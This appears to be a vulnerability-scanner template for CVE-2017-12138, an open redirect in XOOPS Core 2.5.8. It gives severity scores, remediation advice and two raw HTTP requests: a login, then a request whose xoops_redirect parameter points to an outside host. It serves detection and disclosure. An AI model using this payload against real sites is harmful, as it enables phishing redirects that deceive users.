| Title | XOOPS Core 2.5.8 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. |
| Remediation | Apply the latest security patch or upgrade to a newer version of XOOPS Core to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.20503 |
| CVE ID | CVE-2017-12138 |
| CWE ID | CWE-601 |
| Tags | cve cve2017 redirect xoops authenticated vuln |
XOOPS Core 2.5.8 contains an open redirect vulnerability in /modules/profile/index.php due to the URL filter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /user.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
uname=11fmr3&pass=EoliFu&xoops_redirect=%2Findex.php&op=login
GET /modules/profile/index.php?op=main&xoops_redirect=https:www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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